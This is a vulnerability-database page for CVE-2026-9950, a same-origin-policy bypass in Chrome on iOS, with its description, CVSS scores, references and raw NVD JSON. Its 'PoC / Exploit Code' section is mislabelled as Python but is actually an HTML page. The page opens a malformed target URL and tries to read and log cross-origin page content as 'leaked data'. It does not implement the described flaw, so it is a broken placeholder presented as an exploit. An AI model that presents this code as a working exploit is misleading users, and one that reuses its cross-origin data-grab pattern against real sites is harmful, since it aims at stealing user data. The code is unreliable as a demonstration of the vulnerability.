CVE-2026-9950

Description

Insufficient validation of untrusted input in iOS in Google Chrome on iOS prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

3.1

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome on iOS < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-9950: Chrome iOS SOP Bypass
  This is a conceptual demonstration of a crafted HTML page
  attempting to bypass Same Origin Policy via insufficient input validation.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9950 PoC</title>
    <meta charset="UTF-8">
</head>
<body>
    <h2>Testing CVE-2026-9950</h2>
    <p>This page attempts to access cross-origin data via a crafted input vector.</p>
    
    <script>
        // Simulate the crafted input that exploits insufficient validation
        // In a real scenario, this would involve specific DOM manipulation or
        // URI handling that triggers the SOP bypass in versions < 148.0.7778.216
        
        function exploitAttempt() {
            var targetWindow = window.open('https://target-site.com sensitive-data', '_blank');
            
            setTimeout(function() {
                try {
                    // Malicious attempt to read properties due to SOP bypass
                    var data = targetWindow.document.body.innerHTML;
                    console.log("[+] Exploit Successful! Leaked data: " + data);
                    alert("SOP Bypass Detected: Data leaked.");
                } catch (e) {
                    console.log("[-] Exploit Failed: SOP enforced.");
                }
            }, 2000);
        }

        // Triggering the attack chain requires user interaction (UI:R)
        document.body.innerHTML += '<button onclick="exploitAttempt()">Click to Run Exploit</button>';
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9950
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9950
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9950/
[4] VulDB https://vuldb.com/cve/CVE-2026-9950
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/503862359

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9950", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:53.150", "lastModified": "2026-05-29T18:17:16.357", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in iOS in Google Chrome on iOS prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/503862359", "source": "[email protected]"}]}}